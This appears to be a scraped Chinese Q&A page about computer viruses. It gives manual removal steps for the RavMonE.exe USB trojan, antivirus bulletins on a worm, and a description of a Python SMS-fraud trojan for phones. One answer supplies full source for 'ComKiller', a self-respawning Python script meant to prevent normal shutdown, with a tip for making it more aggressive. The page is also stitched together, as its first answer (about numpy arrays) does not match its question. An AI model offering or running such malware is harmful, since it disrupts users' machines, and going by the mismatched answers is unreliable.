本文目录一览：
- 1、Python编程木马病毒厉害还是E语言还是C++？
- 2、为什么我所有的文件一双击，就弹出一个打开方式的菜单，请问怎么解决，之前去了一下安全模式就变这样了
- 3、求助，电脑中了ravmon.exe和worm.delf.aj,还有后门病毒文件名大概是backdoor,文档消失,d盘出现found0000
- 4、python能写病毒或者木马什么的吗？
- 5、看看这是什么病毒
Python编程木马病毒厉害还是E语言还是C++？
python自己没有array这个数据结构。据我所知array是python的numpy工具包定义的。 python的list就是常说的列表。 array和list主要的不同是，因为numpy是一个数值计算工具包，numpy的很多函数是可以直接在array上使用的，但不能用在list上。
为什么我所有的文件一双击，就弹出一个打开方式的菜单，请问怎么解决，之前去了一下安全模式就变这样了
一种新病毒正在通过U盘、移动硬盘传播
目前，各杀毒软件尚未将它列为病毒。
推荐大家去打印店时，使用带写保护口的U盘！
该病毒由如下文件组成：
autorun.inf、msvcr71.dll、RavMonE.exe、RavMonLog
当用户双击U盘盘符，会激活autorun.inf自动加载RavMonE.exe
中毒之后，计算机识别U盘时会极为缓慢，病毒又会传染给新的U盘
单看文件名就可判定这是病毒，RavMonE.exe企图冒充瑞星杀毒软件的正常
文件RavMon.exe和RavMonD.exe。计算机初级用户会误以为RavMonE.exe也是正常文件
解决 *** :
Step 1.开机时按F8键，进入【安全模式】
我的电脑——工具——文件夹选项——【查看】分页
勾选“显示所有文件和文件夹”，取消“隐藏受保护的操作系统文件(推荐)”
Step 2.用任务管理器(Ctrl+Alt+Del)终止 RavMonE.exe进程
1)在开始菜单搜索所有文件和文件夹(记得在【更多高级选项】中勾选“搜索
隐藏的文件和文件夹”)，检索以下文件：RavMonE.exe、RavMonLog，删除它们
2)对于msvcr71.dll和autorun.inf这两个文件，只删除与RavMonE.exe在同一 文件夹内的，其余的则保留
3)不要错过闪存、移动硬盘内的病毒，以免交叉感染，再次中毒
Step 3.在开始菜单运行输入regedit，删除注册表的键值
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
C:\WINDOWS\RavMonE.exe
回答者：zj000007 - 秀才 二级 6-10 12:53
1.简介:------06月03日热门病毒：ravmone.exe 瑞星公司06月03日发布 每日计算机病毒及木马播报
2.特点:------该木马病毒采用Python语言编写，运行后会将自身复制到Windows目录下，文件名为“RavMonE.exe”。同时会在注册表项目中添加自身，以实现随系统启动自动运行。由于其文件名与瑞星监控程序“RavMon”较像，具有较高的迷惑性，不易被用户发现。该病毒会自动复制自身到优盘以及移动硬盘上，当用户将这些移动存储设备连接到其它的计算机上，则这些计算机也可能会被该病毒感染。
3.办法:-------手动杀毒如下：
1、打开任务管理器（ctrl+alt+del或者任务栏右键点击也可），终止所有ravmone.exe的进程
2、进入c:\windows，删除其中的ravmone.exe
3、进入c:\windows，运行regedit.exe，在左边依次点开HK_Loacal_Machine\software\Microsoft\windows\CurrentVersion\Run\，在右边可以看到一项数值是c:\windows\ravmone.exe的，把他删除掉
4、完成
求助，电脑中了ravmon.exe和worm.delf.aj,还有后门病毒文件名大概是backdoor,文档消失,d盘出现found0000
U盘(移动设备)被ravmon.exe感染解决 ***
解决 *** : 之一:把移动存储设备里的还有ravmon的文件删除,然后格式化,如果格式化不了,ctrl+alt+del,在任务管理器中找到ravmon的进程,停止该进程，然后拔掉移动存储设备. 第二:打开注册表搜索所有含有RAVMON的项,删除,然后重新启动计算机第三:在c:/windows/system32里面搜索ravmon,找到后删除该程序文件，如果删除不了,到安全模式下删除
瑞星公司06月03日发布 每日计算机病毒及木马播报 据瑞星全球反病毒监测网介绍，今日有两个病毒特别值得注意，它们是：“le间谍变种R（Trojan.Spy.leSpy.r,）”和“le间谍变种S（Trojan.Spy.leSpy.s）”病毒。这两个木马病毒会伪装成瑞星杀毒软件的监控程序，并通过优盘进行传播。 本日热门病毒： “le间谍变种R/S（Trojan.Spy.leSpy.r/s）”病毒：警惕程度★★★☆，木马病毒，通过优盘传播，依赖系统：WIN9X/NT/2000/XP/2003。 该木马病毒采用Python语言编写，运行后会将自身复制到Windows目录下，文件名为“RavMonE.exe”。同时会在注册表项目中添加自身，以实现随系统启动自动运行。由于其文件名与瑞星监控程序“RavMon”较像，具有较高的迷惑性，不易被用户发现。该病毒会自动复制自身到优盘以及移动硬盘上，当用户将这些移动存储设备连接到其它的计算机上，则这些计算机也可能会被该病毒感染。
found0000是因你非法关机造成的。你非法关一次，他就生成一个000，001.002等文件，里面保留了你在非法关闭的时候运行程序的一些信息，以便给你恢复的可能。如果你感觉不用恢复，可以直接删除掉！
一、 “德芙蠕虫变种aj”(worm.delf.aj) 威胁级别：★★
据金山毒霸反病毒工程师介绍，该病毒是一个通过将自己写入可移动磁盘中来传播自己的蠕虫病毒。该病毒会将自己复制到系统目录：%system%\wincfgs.exe下；添加启动项；该病毒运行后会释放一个记事本程序%systemroot%\kb20060111.exe到系统目录并打开一个空白无标题的记事本来迷惑用户，每次病毒随着系统启动都会弹出一个记事本窗口。
金山毒霸反病毒应急中心及时进行了病毒库更新，升级毒霸到2006年07月09日的病毒库即可查杀以上病毒；如未安装金山毒霸，可以登录免费下载最新版金山毒霸2006或使用金山毒霸在线杀毒来防止病毒入侵，拨打金山毒霸反病毒急救 *** 010—82331816反病毒专家将为您提供帮助。”
python能写病毒或者木马什么的吗？
# 这是一个小病毒，名叫ComKiller(计算机杀手)
# 效果：运行约10秒后无法正常关机
# 注：把那两行 time.sleep(0.1) 去掉效果更好哦:)
import os
import signal
import ctypes
import time
import threading
from pathlib import Path
def help_sos():
cmdr = os.system("start python %s" % FileName)
def Error():
while True:
try:
help_sos()
except BaseException:
help_sos()
time.sleep(0.1)
signal.signal(signal.SIGTERM, help_sos)
FileName = Path(__file__).name
while True:
time.sleep(1)
T = threading.Thread(target = Error, args = ())
T.start()
#仅用于娱乐，干什么非法的事情和我无关！
看看这是什么病毒
木马病毒，
作用与短消息 *** S的用Python编写的木马程序！
这个病毒主体文件是个 Python 脚本，只能在支持 Python 的手机平台上运行。
这个脚本文件是嵌在一个 SIS 安装包中的。SIS 安装程序伪装成 “Icq_Python” 诱骗用户安装，并和正常程序一样，安装后程序图标会出现在菜单栏中，并生成如下文件：
!:\system\apps\Icq_reggerNEW\Icq_reggerNEW.app
!:\system\apps\Icq_reggerNEW\default.py
!:\system\apps\Icq_reggerNEW\Icq_reggerNEW.rsc
!:\system\libs\keypress.pyd
!:\system\libs\inbox.pyd
!:\system\libs\appswitch.pyd
其中三个 pyd 文件是病毒脚本用到的导入模块。
当用户点击程序图标运行时，病毒脚本文件 default.py 就会被执行，其行为如下：
a)持续向一个指定号码发送短信；
b)删除收件箱中来自此指定号码的回复短信；
这样用户的手机费就在毫无察觉的情况下被骗取，号码对应的服务商就可以从中牟取暴利。马上查了下话费，没事！